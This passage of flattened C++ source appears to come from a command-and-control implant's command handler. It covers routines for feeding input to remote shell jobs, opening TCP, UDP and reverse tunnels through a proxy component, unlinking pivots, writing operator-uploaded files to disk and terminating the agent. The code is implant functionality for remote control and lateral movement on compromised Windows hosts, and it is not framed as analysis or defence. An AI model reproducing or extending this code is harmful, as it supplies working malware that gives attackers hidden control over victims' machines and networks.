outPacker->Pack8(JOB_TYPE_SHELL); outPacker->Pack8(JOB_STATE_FINISHED); outPacker->Pack32(TEB->LastErrorValue); } } void Commander::CmdShellWrite(ULONG commandId, Packer* inPacker, Packer* outPacker) { ULONG jobId = inPacker->Unpack32(); ULONG dataSize = 0; CHAR* data = (CHAR*)inPacker->UnpackBytes(&dataSize); ULONG taskId = inPacker->Unpack32(); for (int i = 0; i < agent->jober->jobs.size(); i++) { if (jobId == agent->jober->jobs[i].jobId && agent->jober->jobs[i].jobState == JOB_STATE_RUNNING && agent->jober->jobs[i].pipeWrite) { DWORD written = 0; ApiWin->WriteFile(agent->jober->jobs[i].pipeWrite, data, dataSize, &written, NULL); break; } } } void Commander::CmdTerminate(ULONG commandId, Packer* inPacker, Packer* outPacker) { agent->config->exit_method = inPacker->Unpack32(); agent->config->exit_task_id = inPacker->Unpack32(); agent->Active = FALSE; } void Commander::CmdTunnelMsgConnectTCP(ULONG commandId, Packer* inPacker, Packer* outPacker) { ULONG channelId = inPacker->Unpack32(); ULONG tunnelType = inPacker->Unpack32(); ULONG addrSize = 0; CHAR* addr = (CHAR*)inPacker->UnpackBytes(&addrSize); WORD port = inPacker->Unpack32(); ULONG taskId = inPacker->Unpack32(); this->agent->proxyfire->ConnectMessageTCP(channelId, tunnelType, addr, port, outPacker); } void Commander::CmdTunnelMsgConnectUDP(ULONG commandId, Packer* inPacker, Packer* outPacker) { ULONG channelId = inPacker->Unpack32(); ULONG addrSize = 0; CHAR* addr = (CHAR*)inPacker->UnpackBytes(&addrSize); WORD port = inPacker->Unpack32(); ULONG taskId = inPacker->Unpack32(); this->agent->proxyfire->ConnectMessageUDP(channelId, addr, port, outPacker); } void Commander::CmdTunnelMsgWriteTCP(ULONG commandId, Packer* inPacker, Packer* outPacker) { ULONG channelId = inPacker->Unpack32(); ULONG dataSize = 0; CHAR* data = (CHAR*)inPacker->UnpackBytes(&dataSize); ULONG taskId = inPacker->Unpack32(); this->agent->proxyfire->ConnectWriteTCP(channelId, data, dataSize, outPacker); } void Commander::CmdTunnelMsgWriteUDP(ULONG commandId, Packer* inPacker, Packer* outPacker) { ULONG channelId = inPacker->Unpack32(); ULONG dataSize = 0; CHAR* data = (CHAR*)inPacker->UnpackBytes(&dataSize); ULONG taskId = inPacker->Unpack32(); this->agent->proxyfire->ConnectWriteUDP(channelId, data, dataSize); } void Commander::CmdTunnelMsgPause(ULONG commandId, Packer* inPacker, Packer* outPacker) { ULONG channelId = inPacker->Unpack32(); this->agent->proxyfire->ConnectPause(channelId); } void Commander::CmdTunnelMsgResume(ULONG commandId, Packer* inPacker, Packer* outPacker) { ULONG channelId = inPacker->Unpack32(); this->agent->proxyfire->ConnectResume(channelId); } void Commander::CmdTunnelMsgClose(ULONG commandId, Packer* inPacker, Packer* outPacker) { ULONG channelId = inPacker->Unpack32(); this->agent->proxyfire->ConnectClose(channelId); } void Commander::CmdTunnelMsgReverse(ULONG commandId, Packer* inPacker, Packer* outPacker) { ULONG tunnelId = inPacker->Unpack32(); WORD port = inPacker->Unpack32(); ULONG taskId = inPacker->Unpack32(); this->agent->proxyfire->ConnectMessageReverse(tunnelId, port, outPacker); } void Commander::CmdUnlink(ULONG commandId, Packer* inPacker, Packer* outPacker) { ULONG pivotId = inPacker->Unpack32(); ULONG taskId = inPacker->Unpack32(); this->agent->pivotter->UnlinkPivot(taskId, commandId, pivotId, outPacker); } void Commander::CmdUpload(ULONG commandId, Packer* inPacker, Packer* outPacker) { ULONG memoryId = inPacker->Unpack32(); ULONG pathSize = 0; CHAR* path = (CHAR*)inPacker->UnpackBytes(&pathSize); ULONG taskId = inPacker->Unpack32(); outPacker->Pack32(taskId); if ( !agent->memorysaver->chunks.contains(memoryId) ) return; MemoryData memData = agent->memorysaver->chunks[memoryId]; if (memData.complete) { BOOL result = false; DWORD written = 0; HANDLE hFile = ApiWin->CreateFileA(path, GENERIC_WRITE, NULL, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL); if (hFile && hFile != INVALID_HANDLE_VALUE) result = ApiWin->WriteFile(hFile, memData.buffer, memData.totalSize, &written, NULL); if (result) { outPacker->Pack32(COMMAND_UPLOAD); } else { outPacker->Pack32(COMMAND_ERROR); outPacker->Pack32(TEB->LastErrorValue); } if (hFile) { ApiNt->NtClose(hFile); hFile = NULL; } } else { outPacker->Pack32(COMMAND_ERROR); outPacker->Pack32(2); } agent->memorysaver->RemoveMemoryData(memoryId); } void Commander::CmdSaveMemory(ULONG commandId, Packer* inPacker, Packer* outPacker) { ULONG memoryId = inPacker->Unpack32(); ULONG totalSize = inPacker->Unpack32(); ULONG bufferSize = 0; BYTE* buffer = inPacker->UnpackBytes(&bufferSize); ULONG taskId = inPacker->Unpack32(); this->agent->memorysaver->WriteMemoryData(memoryId, totalSize, bufferSize, buffer); } void Commander::Exit(Packer* outPacker) { outPacker->Pack32(agent->config->exit_task_id); outPacker->Pack32(COMMAND_TERMINATE); outPacker->Pack32(agent->config->exit_method); }